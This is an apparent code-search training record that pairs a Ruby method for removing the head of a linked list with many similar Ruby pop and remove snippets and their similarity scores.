remove_after(node)\n value = node.next_node.value\n if node.next_node == tail\n @tail = node\n end\n node.next_node = node.next_node.next_node\n return value\n end", "def pop\n node = remove_node(head)\n return nil unless node\n self.size -= 1\n node.data\n end", "def pop\n last_node = self.tail\n self.at(self.size - 2).next_node = nil\n return last_node\n end", "def remove_last\n raise 'Cannot remove element from an empty list.' if empty?\n\n # Extract the data off of the tail node\n # Move the tail to the previous node\n data = @tail.data\n \n if size < 2\n return remove_first\n else\n each_cons(2) do |node, next_node|\n if next_node.next_node == nil\n @tail = node\n @tail.next_node = nil\n break\n end\n end\n end\n\n @size -= 1\n\n return data\n end", "def pop\n node = self.double_link_linked_list.delete_tail\n node ? node.value : nil\n end", "def remove node\n # if the node is at beginning or end of list\n # handle this separately\n return remove_first if node == @head\n return remove_last if node == @tail\n\n # store the data, so we can return it\n data = node.data\n\n # iterate through nodes, two at a time\n each_cons(2) do |search_node, next_node|\n # if our second item in a pair is the node we are looking for\n if next_node == node\n # then make the previous node's (i.e the search_node) next node equal to the FOLLOWING\n search_node.next_node = next_node.next_node\n next_node = nil\n break\n end\n end\n\n @size -= 1\n\n return data\n end", "def pop\n last = find_tail.data\n node = find_before(last)\n node.next = nil\n end", "def pop\n tmp = @data.value rescue nil\n @data = @data.next_node unless @data.nil?\n return tmp\n end", "def pop\r\n return nil if @head == nil\r\n res = @head\r\n @head = @head.next_node\r\n return res.value\r\n end", "def pop\n if @head.nil?\n 'List is empty'\n else\n current_node = @head\n current_node = current_node.next_node until current_node.next_node.next_node.nil?\n last_node = current_node.next_node\n current_node.next_node = nil\n end\n last_node\n end", "def pop\n\t\tlocation = @head.next_node\n\t\twhile location.next_node.next_node != nil\n\t\t\tlocation = location.next_node\n\t\tend\n\t\tlast = location.next_node\n\t\tlocation.next_node = nil\n\t\treturn last\n\t\tlocation = @head\n\tend", "def pop\n return_value = @head.value\n @head = @head.next_node\n return return_value\n end", "def pop\n current_node = @head\n prev_node = nil\n while current_node.next_node\n prev_node = current_node\n current_node = current_node.next_node\n end\n @tail = prev_node\n @tail.next_node = nil unless tail.nil?\n @size -= 1\n current_node.value\n end", "def removeHead\n\t\tif @head != nil\n\t\t\tn = @head\n\t\t\t@head = n.nnode\n\t\t\tn.nnode = nil\n\t\t\treturn n.value\n\t\tend\n\tend", "def pop\n if @length == 0\n return nil\n elsif @length == 1\n node = @head\n @head = nil\n @tail = nil\n @length -= 1\n return node.value\n else\n node = @tail\n @tail = node.previous\n @length -= 1\n return node.value\n end\n end", "def pop\n node_value = @data.value\n\n @data = @data.next_node\n\n return node_value\n end", "def pop\n return nil if @head.nil?\n\n to_remove = @head\n @head = @head.next\n to_remove.next = nil\n @count -= 1\n\n to_remove.value\n end", "def pop()\n head = @head\n if head == nil then\n return nil\n end\n @head = head.prev\n return head.val\n end", "def pop()\n \n return nil if @head.nil?\n \n result = @head\n \n @head.next_node.nil? ? @head = nil : @head = @head.next_node \n \n result.val\n end", "def dequeue\n return nil if @head.nil?\n\n # Remove the head element and return the value.\n @count -= 1\n old_node = @head\n @head = @head.next\n old_node.next = nil\n\n # We can also nullify the tail if the head is nil now.\n @tail = nil if @head.nil?\n\n old_node.value\n end", "def remove\n unless self.empty?\n swap(0, @store.length - 1)\n removed_node = @store.pop\n\n heap_down(0)\n\n return removed_node.value\n end\n end", "def remove_last_child\n @elements.pop\n end", "def pop\n old = @tail\n if @tail == nil\n return nil\n else\n prev = @tail\n @tail = @tail.prev_value\n @length -= 1\n return prev.value\n end\n end", "def removed(node)\n\t\t\t@size -= 1\n\t\t\treturn node\n\t\tend", "def pop\n return nil if head.nil?\n\n curr = head\n if curr.next.nil?\n @head = nil\n return curr\n end\n curr = curr.next until curr.next.next.nil?\n last = curr.next\n curr.next = nil\n last.value\n end", "def remove()\n return nil if self.empty?\n\n # swap root node and last leaf node (swap head and rear of internal array) and pop it\n last_index = @store.length - 1\n swap(0, last_index)\n removed = @store.pop\n\n # ensure heap property via calling heap_down\n heap_down(0)\n return removed.value\n end", "def remove(value)\n\t\t\telement = self.head\n\t\t\tprevious_element = @head\n\t\t\twhile element.value != value\n\t\t\t\tif element.next.nil?\n\t\t\t\t\treturn nil\n\t\t\t\telse\n\t\t\t\t\tprevious_element = element\n\t\t\t\t\telement = element.next\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tprevious_element.next = element.next\n\t\t\telement\n\t\tend", "def pop\n value = @head.value\n @head = @head.next_node\n if isEmpty?\n @tail = nil\n end\n value\n end", "def pop\n node = @head\n if node.data == nil\n remove = \"\"\n else\n node = node.next_node until node.next_node.next_node.nil?\n remove = node.next_node.data\n node.next_node = nil\n end\n remove\n end", "def pop\n node = last\n last = node.prv\n last.nxt = nil\n node.prv = nil\n node\n end", "def pop\n current = @head\n\n # loop to second to last element of list\n until current.next_node == tail\n current = current.next_node\n end\n\n # update tail\n @tail = current\n\n # set next_node to nil\n current.next_node = nil\n end", "def remove\n # Can you delete any other node besides the root?\n return nil if @store.empty?\n\n swap(0, @store.length - 1)\n target = @store.pop\n\n heap_down(0)\n return target.value\n end", "def pop\n\t\tcurrent_node = @head \n\t\tif current_node.next_node == nil \n\t\t\t@head = nil \n\t\tend \n\t\tuntil current_node.next_node.next_node == nil \n\t\t\tcurrent_node = current_node.next_node\n\t\tend \n\t\tcurrent_node.next_node = nil \n\tend", "def pop\n return nil if @data.nil?\n return_value = @data.value\n @data = @data.next_node\n return_value# I RETURN A VALUE\n end", "def pop\n # I RETURN A VALUE\n if @data != nil\n value = @data.value\n @data = @data.next_node\n return value\n end\n end", "def pop\n return nil if @head.nil? || self.size == 0\n current_node = @head\n prev_node = nil\n (self.size - 1).times do\n prev_node = current_node\n current_node = current_node.next\n end\n current_node = nil\n @tail = prev_node\n end", "def pop\n return if list == nil\n\n lastElem = nil\n if list.nextNode == nil\n lastElem = list\n @list = nil\n else\n node = @list\n while (node != nil)\n if (node.nextNode != nil && node.nextNode.nextNode == nil)\n lastElem = node.nextNode\n node.nextNode = nil\n break\n end\n node = node.nextNode\n end\n end\n lastElem\n end", "def pop\n if @tail != nil\n ret = @tail\n @tail = @tail.previous\n if @tail != nil\n @tail.next_node = nil\n end\n @length -= 1\n if @head == ret\n @head = nil\n end\n return ret.value\n elsif @head\n ret = @head\n @head = nil\n @length -= 1\n return ret.value\n else\n return nil\n end\n end", "def pop\n if @tail != nil\n ret = @tail\n @tail = @tail.previous\n if @tail != nil\n @tail.next_node = nil\n end\n @length -= 1\n if @head == ret\n @head = nil\n end\n return ret.value\n elsif @head\n ret = @head\n @head = nil\n @length -= 1\n return ret.value\n else\n return nil\n end\n end", "def remove_head\n\t\t\n\t\told_head = @head\n\n\t\tif old_head == nil\n\t\t\treturn nil\n\t\telse\n\t\t\t@head = old_head.next_node\n\t\tend\n\n\t\t# puts old_head.value\n\t\treturn old_head\n\n\tend", "def pop\n @nodes.shift\n end", "def remove\n node = @head\n\n if node\n @head = node.next_node\n @tail = nil unless @head\n\n node.data\n end\n end", "def pop\n ret = @data.value\n @data = @data.next_node\n ret\n end", "def pop\n node_count = self.size\n\n @tail = self.at(node_count-2) #-2 because of how size works\n @tail.next_node = nil\n end", "def pop\n\t\tif (!@head) then return nil end\n\t\ttemp = @head\n\t\t@head = @head.get_next()\n\t\tif (@head) then @head.set_prev(nil)\n\t\telse @tail = nil\n\t\tend\n\t\t@size -= 1\n\t\treturn temp.get_item()\n\tend", "def remove_at_tail\n\t\t\treturn nil if self.empty?\n\t\t\telement = self.head\n\t\t\tprevious_element = @head\n\n\t\t\tuntil element.next.nil?\n\t\t\t\tprevious_element = element\n\t\t\t\telement = element.next\n\t\t\tend\n\n\t\t\tprevious_element.next = nil\n\t\t\telement\n\t\tend", "def remove_first\n raise 'Cannot remove element from an empty list.' if empty?\n\n # Extract the data off of the head node\n # Move the head to the next node\n data = @head.data\n @head = @head.next_node\n @size -= 1\n\n # removes the same element from @tail, if it was final element/node\n if empty?\n @tail = nil\n end\n\n return data\n end", "def pop\n # return nil if @length == 0\n # Tim did a fancy private method.....\n if @tail.nil?\n old_tail = nil\n else\n old_tail = @tail.value\n if @tail.previous.nil?\n @tail = nil\n else\n new_tail = @tail.previous\n @tail = new_tail\n end\n @length -= 1\n end\n # @tail.previous = new_tail.previous \n return old_tail\n\n end", "def remove(value)\n\t\t\n\t\tnode = @head\n\t\twhile node.value.sal != value do\n\t\t\tnode = node.next\n\t\tend\n\t\t\n\t\tif node != nil\n\t\t\n\t\t\tif node != @head\n\t\t\t\tnode.prev.next = node.next\n\t\t\telse\n\t\t\t\t@head = node.next\n\t\t\tend\n\n\t\t\tif node != @tail\n\t\t\t\tnode.next.prev = node.prev\n\t\t\telse\n\t\t\t\t@tail = node.prev\n\t\t\tend\n\n\t\t\t@size-=1\n\t\tend\t\t\t\n\t\t\t\t\n\tend", "def pop\n return nil if @head.nil?\n if self.size > 1\n @tail = self.at(self.size-1) \n @tail.next = nil\n else # only 1 node\n @tail = @head = nil\n end\t\n end", "def pop\r\n return nil if self.data == nil\r\n value = self.data.value\r\n @data = self.data.next_node\r\n return value\r\n end", "def remove_tail\n if self.head == nil # does nothing to an empty list\n return nil\n end\n \n delete (self.tail) # otherwise, deletes the tail\n end", "def pop\n if data\n element = data\n @data = data.next_node\n return element.value\n else\n return nil\n end\n end", "def pop\n item = @first.val\n @first = @first.next\n @last = nil if(@first == nil)\n @size -= 1\n item\n end", "def remove_first\n raise 'Cannot remove element from an empty list.' if empty?\n\n # Extract the data off of the head node\n # Move the head to the next node\n data = @head.data\n @head = @head.next_node\n @size -= 1\n\n # removes the same element from @tail, if it was final element/node\n if empty?\n @tail = nil\n else\n # send to garbage collector\n @head.prev_node = nil\n end\n\n return data\n end", "def delete_tail\r\n delete_node @tail\r\n end", "def remove_tail\n if self.head.nil? || self.head.next.nil?\n self.tail = nil\n else\n last_node = self.head\n prev_to_last = nil\n\n until last_node.next.nil?\n prev_to_last = last_node\n last_node = last_node.next\n end\n\n prev_to_last.next = nil\n self.tail = prev_to_last\n return prev_to_last\n end\n end", "def remove_node(value)\n new_head = remove_node_recursively(@head, value)\n if new_head\n @head = new_head\n else\n puts \"You can't empty list\"\n end\n end", "def pop\n last = size\n at(last - 2).next_node = nil\n end", "def pop\r\n return nil if @top_node.nil?\r\n temp_node = @top_node\r\n @top_node = temp_node.next_node\r\n return temp_node.value\r\n end", "def pop\r\n removed_item = @data\r\n @data = @data.next_node\r\n removed_item.next_node = nil\r\n removed_item\r\n end", "def remove_at(index)\n return nil if head.nil?\n\n if index.zero?\n node = head\n @head = head.next\n return node.value\n end\n\n curr = head\n index.downto(2) do |_|\n break if curr.next.nil?\n\n curr = curr.next\n end\n node = curr.next\n node.nil? ? (return nil) : (curr.next = node.next)\n node.value\n end", "def remove_at_head\n\t\t\treturn nil if self.empty?\n\t\t\telement = self.head\n\t\t\t@head.next = nil || element.next\n\t\t\telement\n\t\tend", "def pop\r\n top_item = data.value\r\n @data = data.next_node\r\n return top_item\r\n end", "def remove_tail\n remove_node(@tail)\n end", "def pop\r\n # I RETURN A VALUE\r\n data1 = @data\r\n data1.next_node.previous = nil\r\n @data = data1.next_node\r\n return data1\r\n end", "def remove_front\n value = self.head # save the first element\n self.head = value.next # the second element becomes the new first element\n value.next = nil # no longer in the list, so no next\n return value\n end", "def pop_head\n\n\t\tif(@head == nil)\n\t\t\treturn nil\n\t\t \telse\n\t\t val= @head\n\t\t node = @head.next\n\t\t @head = node\n\t\t if @head != nil\n\t\t \t@head.prev = nil\n\t\t else\n\t\t \t@tail = nil\n\t\t end\n\t\t @sz = @sz -1\n\t\tend\n\n\t\treturn val\n end", "def pop\n # I RETURN A VALUE\n if @data.nil? \n puts \"nil\"\n else\n value = @data.value\n @data = @data.next_node\n value\n end\n end", "def shift\n node = self.double_link_linked_list.delete_head\n node ? node.value : nil\n end", "def remove()\n root = @store[0]\n new_root = @store[@store.length - 1]\n\n @store[@store.length - 1] = root\n @store[0] = new_root\n\n removed = @store.pop\n\n heap_down(0)\n return removed.value\n end", "def pop\n return nil if size.zero?\n\n temp = first\n self.last = nil if first == last\n self.first = first.next\n self.size -= 1\n temp.val\n end", "def pop\n list.pop\n end", "def pop_tail\n \tif(@tail == nil)\n \treturn nil\n \telse\n \tval= @tail\n \tnode = @tail.prev\n \t@tail = node\n \tif @tail != nil\n \t\t@tail.next = nil\n \t \telse\n \t\t@head = nil\n \tend\n \t@sz = @sz -1\n end\n\n return val\n end", "def pop\n current_node = @head\n until current_node.next_node.nil?\n previous_node = current_node\n current_node = current_node.next_node\n end\n previous_node.next_node = nil\n @tail = previous_node\n current_node \n end", "def pop\n return nil if @count == 0\n\n # get the index of the las titem\n @store.store.reverse.each_with_index do |ele, i|\n if ele != nil \n @last_ele = capacity() - (i+1) \n break\n end\n end\n #val = @store.store.delete_at(@last_ele)\n val = @store.store[@last_ele]\n @store.store[@last_ele] = nil\n @count -= 1\n return val\n end", "def pop_head()\n nodo=@head\n aux=@head.next\n aux.prev=nil\n @head=aux\n return nodo\n end", "def pop\n current_node = @head\n if current_node.next_node.nil?\n @head.nil?\n else\n while current_node.next_node\n previous = current_node\n current_node = current_node.next_node\n end\n previous.next_node = nil\n end\n end", "def remove node\n\t\treturn nil unless node\n\t\treturn nil unless self.length > 0\n\n\t\t# head?\n\t\treturn remove_next node if (self.length == 1)\n\n\t\t# Find the precedent node to the node we \n\t\t# want to remove.\n\t\tprev = nil\n\t\tself.current = self.head\n\t\twhile ((prev = self.move_next) != node)\n\t\tend\n\t\tremove_next prev\n\tend", "def remove\n\n if @store.empty?\n raise ArgumentError, 'There are no nodes to remove'\n end\n\n # keep track of the element we're removing so we can return it\n removed = @store[0].value\n\n # swap root and last node in heap ... \n @store[0], @store[@store.length - 1] = @store[@store.length - 1], @store[0]\n\n # ... then delete last node (this is more efficient than removing first node)\n @store.delete_at(@store.length - 1)\n\n # we're done if there's only one node left after deletion\n return removed if @store.length == 1\n\n # if there's more than one node left, call the recursive heap down method to \n # re-order the remaining nodes, starting at the top\n heap_down(0)\n return removed\n\n end", "def remove_first\n raise 'No such element' if @size == 0\n elt = @head.value\n if @size == 1\n @head = nil\n @tail = nil\n else\n @head = @head.next\n @head.previous.next = nil\n @head.previous = nil\n end\n @size -= 1\n return elt\n end", "def pop\n # I RETURN A VALUE\n return nil if @top.nil?\n original_top = @top.value\n @top = @top.next_node\n original_top\n end", "def lpop\n temp = @head\n @head = @head.next\n @size -= 1\n return temp.to_s\n end", "def pop\n return nil if empty?\n @anchor.prev_node.delete\n end", "def pop\n if head == nil\n \"Nothing to remove\"\n else\n prev = nil\n cur = head\n while cur.next_node != nil\n prev = cur\n cur = cur.next_node\n end\n prev.next_node = nil\n end\n end", "def pop\n return nil if empty?\n\n node = top\n self.top = node.previous\n\n return node\n end", "def remove_tail\n if @current == @tail\n @head = nil\n @tail = nil\n else\n search_until(@tail)\n @tail = @current\n end\n end", "def remove_tail\n\n current_node = @head\n if @head == nil #empty lit\n return nil\n end\n if @head.next == nil #list of one\n temp = @head\n @head = nil\n @tail = nil\n return temp\n end\n while(current_node.next.next) #to traverse the list\n current_node = current_node.next\n end\n temp_two = current_node.next\n current_node.next = nil\n @tail = current_node\n return temp_two\n end", "def pop\r\n element_popped = @data.value\r\n @data = @data.next_node\r\n return LinkedListNode.new(element_popped)\r\n end", "def pop\n previous_node = nil\n current_node = @head\n while current_node.next_node != nil\n previous_node, current_node = current_node, current_node.next_node\n end\n previous_node.next_node = nil\n @tail = previous_node\n end", "def remove_tail\n retval = self.tail\n if self.head == self.tail\n self.head = nil\n self.tail = nil\n return retval\n end\n node = self.head\n until node.next == retval do\n node = node.next\n end\n node.next = nil\n self.tail = node\n return retval\n end", "def pop\n if @head.nil?\n return false\n else \n temp = @head.value\n @head = @head.next_node\n return temp\n end\n end", "def last\n self.each {|node| return node if node.next_node == nil}\n end" ]
[ "0.76912916", "0.76468843", "0.76380104", "0.7616181", "0.7535436", "0.7535436", "0.7514628", "0.746096", "0.7437617", "0.7427888", "0.7426113", "0.7405219", "0.7369827", "0.73540777", "0.73195404", "0.72737217", "0.7241131", "0.7230956", "0.7210715", "0.7208132", "0.71975386", "0.71971184", "0.71831197", "0.71514446", "0.71369463", "0.70863664", "0.70808965", "0.70658624", "0.7063887", "0.7056481", "0.7045372", "0.702624", "0.70238024", "0.7021015", "0.701686", "0.7016027", "0.7012922", "0.69817454", "0.69769454", "0.6961844", "0.6951753", "0.69374675", "0.6925329", "0.6924229", "0.6919292", "0.6919292", "0.6916844", "0.6915592", "0.6895152", "0.68945843", "0.68902457", "0.6886796", "0.6883962", "0.6879371", "0.6877583", "0.6872013", "0.6871196", "0.6864148", "0.686147", "0.6833234", "0.68282753", "0.68207383", "0.68085337", "0.68060493", "0.6801262", "0.679234", "0.67894244", "0.67793596", "0.6748717", "0.6734664", "0.6734614", "0.67330706", "0.6723517", "0.6721574", "0.67191756", "0.6706626", "0.6703256", "0.6697384", "0.6683724", "0.6682424", "0.6679674", "0.6666742", "0.6665807", "0.6663505", "0.66488963", "0.6639612", "0.6636139", "0.6634536", "0.6623527", "0.6619333", "0.66120315", "0.6611877", "0.66114765", "0.66093963", "0.660534", "0.66006416", "0.65982306", "0.65968627", "0.6592129", "0.658705" ]
0.7675069
1
Remove the node at the head of the list and returns its value
def remove_first raise 'No such element' if @size == 0 elt = @head.value if @size == 1 @head = nil @tail = nil else @head = @head.next @head.previous.next = nil @head.previous = nil end @size -= 1 return elt end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def removeHead\n\t\tif @head != nil\n\t\t\tn = @head\n\t\t\t@head = n.nnode\n\t\t\tn.nnode = nil\n\t\t\treturn n.value\n\t\tend\n\tend", "def remove_head\n\t\t\n\t\told_head = @head\n\n\t\tif old_head == nil\n\t\t\treturn nil\n\t\telse\n\t\t\t@head = old_head.next_node\n\t\tend\n\n\t\t# puts old_head.value\n\t\treturn old_head\n\n\tend", "def remove_first\n raise 'Cannot remove element from an empty list.' if empty?\n\n # Extract the data off of the head node\n # Move the head to the next node\n data = @head.data\n @head = @head.next_node\n @size -= 1\n\n # removes the same element from @tail, if it was final element/node\n if empty?\n @tail = nil\n end\n\n return data\n end", "def remove_first\n raise 'Cannot remove element from an empty list.' if empty?\n\n # Extract the data off of the head node\n # Move the head to the next node\n data = @head.data\n @head = @head.next_node\n @size -= 1\n\n # removes the same element from @tail, if it was final element/node\n if empty?\n @tail = nil\n else\n # send to garbage collector\n @head.prev_node = nil\n end\n\n return data\n end", "def remove_node(value)\n new_head = remove_node_recursively(@head, value)\n if new_head\n @head = new_head\n else\n puts \"You can't empty list\"\n end\n end", "def remove node\n # if the node is at beginning or end of list\n # handle this separately\n return remove_first if node.prev_node == nil\n return remove_last if node.next_node == nil\n\n # tell adjacent nodes to 'skip' over this node\n node.next_node.prev_node = node.prev_node\n node.prev_node.next_node = node.next_node\n\n # store the data, so we can return it\n data = node.data\n\n # send to garbage collector\n node.data = nil\n node = node.prev_node = node.next_node = nil\n\n @size -= 1\n\n return data\n end", "def remove_front\n value = self.head # save the first element\n self.head = value.next # the second element becomes the new first element\n value.next = nil # no longer in the list, so no next\n return value\n end", "def pop\r\n return nil if @head == nil\r\n res = @head\r\n @head = @head.next_node\r\n return res.value\r\n end", "def pop_head()\n nodo=@head\n aux=@head.next\n aux.prev=nil\n @head=aux\n return nodo\n end", "def pop\n node = remove_node(head)\n return nil unless node\n self.size -= 1\n node.data\n end", "def pop\n return nil if @head.nil?\n\n to_remove = @head\n @head = @head.next\n to_remove.next = nil\n @count -= 1\n\n to_remove.value\n end", "def remove\n node = @head\n\n if node\n @head = node.next_node\n @tail = nil unless @head\n\n node.data\n end\n end", "def ll_pop()\n current = @head\n \n if @num_nodes == 0\n return nil\n elsif @num_nodes == 1\n @head = nil\n @tail = nil\n else\n second = @head.get_Next()\n @head = second\n end\n \n @num_nodes -= 1\n return current.get_Data()\n end", "def pop_head\n\n\t\tif(@head == nil)\n\t\t\treturn nil\n\t\t \telse\n\t\t val= @head\n\t\t node = @head.next\n\t\t @head = node\n\t\t if @head != nil\n\t\t \t@head.prev = nil\n\t\t else\n\t\t \t@tail = nil\n\t\t end\n\t\t @sz = @sz -1\n\t\tend\n\n\t\treturn val\n end", "def remove_at_head\n\t\t\treturn nil if self.empty?\n\t\t\telement = self.head\n\t\t\t@head.next = nil || element.next\n\t\t\telement\n\t\tend", "def pop()\n \n return nil if @head.nil?\n \n result = @head\n \n @head.next_node.nil? ? @head = nil : @head = @head.next_node \n \n result.val\n end", "def remove_front\n temp_node = @head\n if @head === nil # empty list\n return nil\n elsif @head === @tail # list of 1\n @head = nil\n @tail = nil\n return temp_node\n else\n @head = @head.next\n return temp_node\n end\n end", "def pop\n return_value = @head.value\n @head = @head.next_node\n return return_value\n end", "def remove(value)\n\t\t\telement = self.head\n\t\t\tprevious_element = @head\n\t\t\twhile element.value != value\n\t\t\t\tif element.next.nil?\n\t\t\t\t\treturn nil\n\t\t\t\telse\n\t\t\t\t\tprevious_element = element\n\t\t\t\t\telement = element.next\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tprevious_element.next = element.next\n\t\t\telement\n\t\tend", "def pop\n node = @head\n if node.data == nil\n remove = \"\"\n else\n node = node.next_node until node.next_node.next_node.nil?\n remove = node.next_node.data\n node.next_node = nil\n end\n remove\n end", "def pop() #delete last element in the LL\n return nil if @head == nil #if list is empty return nil\n return @head = nil if self.list_size == 1 #list has 1 element(head) assign head to nil\n temp_node = @head #if list has more then 1 element, travres till last element\n #stop conditon is when second element from current link to nil, means that first\n #from current is last element in the list\n until temp_node.link.link == nil \n temp_node = temp_node.link\n end\n temp_node.link = nil #cat the link with last element by assigning previous link to nil\n end", "def remove(value)\n if head.value == value\n @head = head.next\n else\n current_node = head.next\n prev_node = head\n while current_node\n if current_node.value == value\n prev_node.next = current_node.next\n return\n else\n prev_node = current_node\n current_node = current_node.next\n end\n end\n nil\n end\n end", "def remove node\n # if the node is at beginning or end of list\n # handle this separately\n return remove_first if node == @head\n return remove_last if node == @tail\n\n # store the data, so we can return it\n data = node.data\n\n # iterate through nodes, two at a time\n each_cons(2) do |search_node, next_node|\n # if our second item in a pair is the node we are looking for\n if next_node == node\n # then make the previous node's (i.e the search_node) next node equal to the FOLLOWING\n search_node.next_node = next_node.next_node\n next_node = nil\n break\n end\n end\n\n @size -= 1\n\n return data\n end", "def pop()\n head = @head\n if head == nil then\n return nil\n end\n @head = head.prev\n return head.val\n end", "def remove(value)\n\t\t\n\t\tnode = @head\n\t\twhile node.value.sal != value do\n\t\t\tnode = node.next\n\t\tend\n\t\t\n\t\tif node != nil\n\t\t\n\t\t\tif node != @head\n\t\t\t\tnode.prev.next = node.next\n\t\t\telse\n\t\t\t\t@head = node.next\n\t\t\tend\n\n\t\t\tif node != @tail\n\t\t\t\tnode.next.prev = node.prev\n\t\t\telse\n\t\t\t\t@tail = node.prev\n\t\t\tend\n\n\t\t\t@size-=1\n\t\tend\t\t\t\n\t\t\t\t\n\tend", "def remove_at(index)\n return nil if head.nil?\n\n if index.zero?\n node = head\n @head = head.next\n return node.value\n end\n\n curr = head\n index.downto(2) do |_|\n break if curr.next.nil?\n\n curr = curr.next\n end\n node = curr.next\n node.nil? ? (return nil) : (curr.next = node.next)\n node.value\n end", "def pop\n node = self.double_link_linked_list.delete_tail\n node ? node.value : nil\n end", "def pop\n if @head.nil?\n 'List is empty'\n else\n current_node = @head\n current_node = current_node.next_node until current_node.next_node.next_node.nil?\n last_node = current_node.next_node\n current_node.next_node = nil\n end\n last_node\n end", "def remove_head(value, node)\n if node.left\n link = max_search(node.left)\n link.right = @head.right\n @head = @head.left\n elsif node.right\n link = min_search(node.right)\n link.left = @head.left\n @head = @head.right\n else\n @head = nil\n end\n end", "def remove node\n return nil unless node \n # If the node we have to remove is the head of the list, we need to cover two situations\n if node == head\n # Head is the only node in the list. We set head and tail to nil and we are done\n if head.next.nil?\n self.head = self.tail = nil\n else\n # Head is not the only node in the list. \n # The node that’s next to head becomes the new head and the original head goes out of scope.\n self.head = self.head.next\n end\n else\n p = node.prev\n n = node.next\n p&.next = n\n n&.prev = p\n end\n self.length -= 1\nend", "def remove_node(head, val)\n current = head\n until current.next_node.nil?\n if head.val == val\n current.next_node = current.next_node.next_node\n end\n\n current = current.next_node\n end\n\n head\nend", "def pop\n if head == nil\n \"Nothing to remove\"\n else\n prev = nil\n cur = head\n while cur.next_node != nil\n prev = cur\n cur = cur.next_node\n end\n prev.next_node = nil\n end\n end", "def remove_node(index)\n\n\t\t# Start at the head\n\t\tcounter = 0\n\t\tcurrent_node = @head\n\t\tprev_node = nil\n\n\t\t# crawl to the index position\n\t\twhile counter < index \n\t\t\tprev_node = current_node\n\t\t\tcurrent_node = current_node.next\n\t\t\tcounter += 1\n\t\tend\n\n\t\t# Now perform removal (cutting out current_node)\n\t\tnext_node = current_node.next\n\t\tcurrent_node.next = nil # clear the pointer\n\t\tprev_node.next = new_node\n\n\t\tputs \"Removed node at index #{index} with value: #{current_node.data}\"\n\tend", "def delete_head\n # If the SLL is empty, there's nothing there other than an empty head; return it\n if empty?\n return @head\n elsif @head.next\n # If the head node has a next\n # Set the head to the original head's next, destroying any reference to the original\n @head = @head.next\n else\n # If the head is the only node, just set its value to nil\n @head.value = nil\n end\n\n # Decrement the SLL by 1 in all cases\n @size -= 1 if size > 0\n # Return the new or empty head\n @head\n end", "def remove_front\n removed_node = self.head\n self.head = self.head.next\n return removed_node\n end", "def remove (data)\n if @head.data == data\n @head = @head.next # Move head to the next node\n else\n current_node = @head.next # Go the next element\n prev_node = @head\n while current_node\n if current_node.data == data\n prev_node.next = current_node.next\n return @head # Head didnt change\n end\n prev_node = current_node\n current_node = current_node.next\n end\n\n return @head\n end\n end", "def remove_front\n if self.head.nil?\n return nil\n else\n temp = self.head\n self.head = self.head.next\n return temp\n end\n end", "def remove_first\n old_head = @head\n @head = @head.next_node unless @head.nil?\n @head.prev_node = nil unless @head.nil?\n old_head\n end", "def remove\n # Can you delete any other node besides the root?\n return nil if @store.empty?\n\n swap(0, @store.length - 1)\n target = @store.pop\n\n heap_down(0)\n return target.value\n end", "def pop\n value = @head.value\n @head = @head.next_node\n if isEmpty?\n @tail = nil\n end\n value\n end", "def remove_first\n return nil if empty?\n node = @sentinel.next\n e = node.data\n node.next.prev = @sentinel\n @sentinel.next = node.next\n e\n end", "def remove_first\n return nil if empty?\n node = @sentinel.next\n e = node.data\n node.next.prev = @sentinel\n @sentinel.next = node.next\n e\n end", "def pop\n\t\tcurrent_node = @head \n\t\tif current_node.next_node == nil \n\t\t\t@head = nil \n\t\tend \n\t\tuntil current_node.next_node.next_node == nil \n\t\t\tcurrent_node = current_node.next_node\n\t\tend \n\t\tcurrent_node.next_node = nil \n\tend", "def remove\n unless self.empty?\n swap(0, @store.length - 1)\n removed_node = @store.pop\n\n heap_down(0)\n\n return removed_node.value\n end\n end", "def remove_front\n temp = self.head\n self.head = self.head.next\n return temp\n end", "def dequeue\n return nil if @head.nil?\n\n # Remove the head element and return the value.\n @count -= 1\n old_node = @head\n @head = @head.next\n old_node.next = nil\n\n # We can also nullify the tail if the head is nil now.\n @tail = nil if @head.nil?\n\n old_node.value\n end", "def pop\n tmp = @data.value rescue nil\n @data = @data.next_node unless @data.nil?\n return tmp\n end", "def pop\n return nil if head.nil?\n\n curr = head\n if curr.next.nil?\n @head = nil\n return curr\n end\n curr = curr.next until curr.next.next.nil?\n last = curr.next\n curr.next = nil\n last.value\n end", "def remove node\n\t\treturn nil unless node\n\t\treturn nil unless self.length > 0\n\n\t\t# head?\n\t\treturn remove_next node if (self.length == 1)\n\n\t\t# Find the precedent node to the node we \n\t\t# want to remove.\n\t\tprev = nil\n\t\tself.current = self.head\n\t\twhile ((prev = self.move_next) != node)\n\t\tend\n\t\tremove_next prev\n\tend", "def remove(value)\n if self.include?(value)\n if head.data == value\n remove_head(value, head)\n else\n remove_value(value, head)\n end\n else\n return nil\n end\n end", "def delete_head\r\n delete_node @head\r\n end", "def remove_front\n placeholder = @head\n @head = placeholder.next\n return placeholder\n end", "def remove()\n return nil if self.empty?\n\n # swap root node and last leaf node (swap head and rear of internal array) and pop it\n last_index = @store.length - 1\n swap(0, last_index)\n removed = @store.pop\n\n # ensure heap property via calling heap_down\n heap_down(0)\n return removed.value\n end", "def shift\n node = self.double_link_linked_list.delete_head\n node ? node.value : nil\n end", "def remove_at(index)\n return nil if @head.nil? || index > self.size - 1\n if index == 0\n @head = @head.next\n elsif index == self.size - 1\n self.pop(node)\n else\n current_node = @head\n prev_node = nil\n index.times do\n prev_node,current_node = current_node,current_node.next\n end\n end\n prev_node.next = current_node.next\n end", "def pop\n node_value = @data.value\n\n @data = @data.next_node\n\n return node_value\n end", "def pop\n if @length == 0\n return nil\n elsif @length == 1\n node = @head\n @head = nil\n @tail = nil\n @length -= 1\n return node.value\n else\n node = @tail\n @tail = node.previous\n @length -= 1\n return node.value\n end\n end", "def del_access_node(node)\n puts \"Deleting Node with value: #{node.value} from the list\"\n if node.next != nil\n node.value = node.next.value\n node.next = node.next.next\n else\n node.value = nil\n end\n print\n end", "def pop\r\n return nil if @top_node.nil?\r\n temp_node = @top_node\r\n @top_node = temp_node.next_node\r\n return temp_node.value\r\n end", "def remove_last\n # if the head is nil, then we just return nil\n return nil if head.nil?\n # if it's only one node, thet remove_last is equal to pop\n return pop if head.next_node.nil?\n\n # we keep searching for the next node until\n # current.next_node is nil\n prev = @head\n current = @head\n\n while !current.next_node.nil?\n prev = current\n current = current.next_node\n end\n # since current.next_node is nil, we just\n # disconnect it and update the tail reference\n prev.next_node = nil\n @tail = prev\n return current.value\n end", "def 